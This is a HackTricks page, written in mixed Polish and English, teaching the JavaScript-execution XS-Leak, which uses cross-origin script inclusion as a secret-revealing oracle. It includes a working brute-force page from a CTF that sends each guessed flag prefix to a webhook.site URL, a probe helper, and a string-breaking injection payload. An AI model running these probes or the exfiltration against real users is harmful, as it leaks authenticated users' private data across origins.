JavaScript Execution XS Leak
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.
Ten prymityw XS-Search zamienia to, czy cross-origin response wykonuje się jako JavaScript w Boolean oracle.
Typowy setup wygląda tak:
- Stan pozytywny: cel zwraca tekst kontrolowany przez atakującego albo sensitive content, który nie wykonuje się jako attacker JavaScript.
- Stan negatywny: cel odzwierciedla tekst kontrolowany przez atakującego w miejsce, które jest parsowane jako poprawny JavaScript, więc atakujący może wymusić callback, taki jak
window.parent.foo(). - leak: załaduj cel przez klasyczny
<script src>i obserwuj, czy callback się wywoła.
To jest w zasadzie execution oracle, a nie timing oracle. Jedyna rzecz, której potrzebuje atakujący, to cross-origin script inclusion, które zachowuje się inaczej w zależności od gałęzi zależnej od sekretu.
Dla ogólnego tła XS-Leaks, zobacz:
When This Works
Ta technika jest praktyczna, gdy wszystkie poniższe warunki są spełnione:
- Ofiara jest authenticated do target origin.
- Atakujący może sprawić, że przeglądarka ofiary zażąda classic script z target origin.
- Jedna gałąź zwraca content, który jest valid attacker-controlled JavaScript.
- Druga gałąź zwraca content, który nie wykonuje attacker callback.
W praktyce najłatwiejsze przypadki to endpointy search/debug, które:
- zwracają tekst kontrolowany przez atakującego, gdy guess jest błędny
- zwracają inny body, gdy guess jest poprawny
- pozwalają atakującemu wybrać parameter taki jak
callback,hint,msgalbo odzwierciedlony prefix/suffix
Basic Example
Server-side code, które spróbuje ${guess} jako prefix flagi:
app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})
Główna strona, która generuje iframes do poprzedniej strony /guessing, aby przetestować każdą możliwość:
<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1
let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}
// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>
Logika atakującego jest następująca:
- Zacznij każdy kandydat jako “good”.
- Załaduj odpowiedź celu jako script.
- Jeśli odpowiedź wykona
window.parent.foo(), oznacz kandydata jako błędny. - Jeśli żaden callback nie zostanie wywołany, zachowaj kandydata i kontynuuj brute-forcing.
Minimal Probe Pattern
W wielu realnych celach iframe nie jest wymagany. Wystarczy bezpośrednie dołączenie script:
<script>
let hit = true
function miss() {
hit = false
}
function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>
Jeśli gałąź “wrong guess” odzwierciedla miss(), to:
probe(...) === falseoznacza, że callback został wykonany albo load się nie powiódłprobe(...) === trueoznacza, że script załadował się bez uruchomienia callbacka atakującego
Dla niezawodności użyj nowego elementu script dla każdego probe i dodaj cache-buster taki jak ?r=${crypto.randomUUID()}.
Modern Caveats
It must be a classic script
Ta primitive opiera się na tym, że browser pobiera resource jako classic script. Zwykły <script src=...> bez crossorigin jest pobierany w trybie no-cors, i właśnie dlatego ten stary pattern nadal bywa użyteczny cross-origin.
Nie przełączaj tego technique na type="module":
- cross-origin module scripts require CORS
- wiele targetów, które można includować jako classic scripts, po prostu failuje jako moduły
MIME type and nosniff decide whether the payload executes
Current browsers are stricter than older writeups. If the target sets X-Content-Type-Options: nosniff, browser zablokuje odpowiedź script, której MIME type nie jest JavaScript MIME type.
To means this oracle często depends on:
- whether the target returns
application/javascript/text/javascript - whether the target returns
text/plain,text/html, or JSON - whether
nosniffis present
To is also why some endpoints only give a leak in one branch: jedna response jest akceptowana as script, while the other branch jest blocked or parsed differently.
CORB can change the observable result
CORB adds another branch to think about. If a response is considered CORB-protected, Chromium may turn it into an empty valid script response instead of surfacing a parse failure. So for some endpoints:
- one state triggers a normal script parse / callback
- another state becomes an empty script and only
onloadfires
That is still a useful oracle, but the signal is now callback vs no callback or onload vs onerror, not just “JavaScript executed or not”.
CSP can kill the attacker-controlled branch
Strict CSP on the target response can break this primitive when the reflected branch is no longer executable JavaScript. Public XS-Leak challenge writeups from 2022 to 2024 repeatedly rely on this detail:
script-src 'none'can force attackers to pivot away from a direct execution oracle- CSP/SRI/CSP-report interactions can still create other leak oracles, but those belong to different pages/techniques
So when the obvious callback trick does not work, inspect response headers before discarding the endpoint.
Useful Variants
Callback-parameter endpoints
Najwygodniejszym targetem jest JSONP-style lub debug endpoint, który akceptuje parameter taki jak:
callback=...cb=...jsonp=...hint=...msg=...
Jeśli gałąź “miss” odzwierciedla tę wartość dosłownie w executable JavaScript, while the “hit” branch returns different content, dostajesz bezpośredni Boolean oracle bez pomiaru czasu.
Syntax-preserving prefixes and suffixes
Sometimes you cannot fully control the response body, but you can still make the negative branch execute:
- zamknij bieżący string albo argument function
- wstrzyknij callback
- skomentuj trailing bytes
Na przykład, reflected branch like:
showResult("<attacker>");
może być często zamienione na:
showResult("");window.parent.foo();//");
Jeśli pozytywna gałąź nie odzwierciedla tego payload, callback staje się oracle.
Combining with event-based oracles
Jeśli endpoint jest niestabilny między przeglądarkami, połącz execution oracle z ogólnymi zdarzeniami ładowania scriptów omówionymi już w indeksie sekcji:
- callback fired
onloadonerror
Jest to szczególnie przydatne, gdy jedna gałąź zwraca poprawny JavaScript, a inna wyzwala zablokowane zachowanie MIME / CORB / CSP.
Powiązane strony:
Praktyczne uwagi
- Preferuj jeden bit na request i utrzymuj prosty side effect callbacka.
- Jeśli sprawdzasz wiele kandydatów, usuń wcześniej wstawione elementy
<script>albo izoluj każdą próbę w świeżym iframe. - Zachowanie cache i service worker może zatruwać oracle; używaj cache-busting.
- Ten primitive jest najsilniejszy, gdy negatywna gałąź to w pełni kontrolowany przez attacker JavaScript. Jeśli dostajesz tylko częściową refleksję, exploit staje się problemem shaping payloadu, a nie problemem XS-Search.
References
- https://xsleaks.dev/docs/attacks/error-events/
- https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.


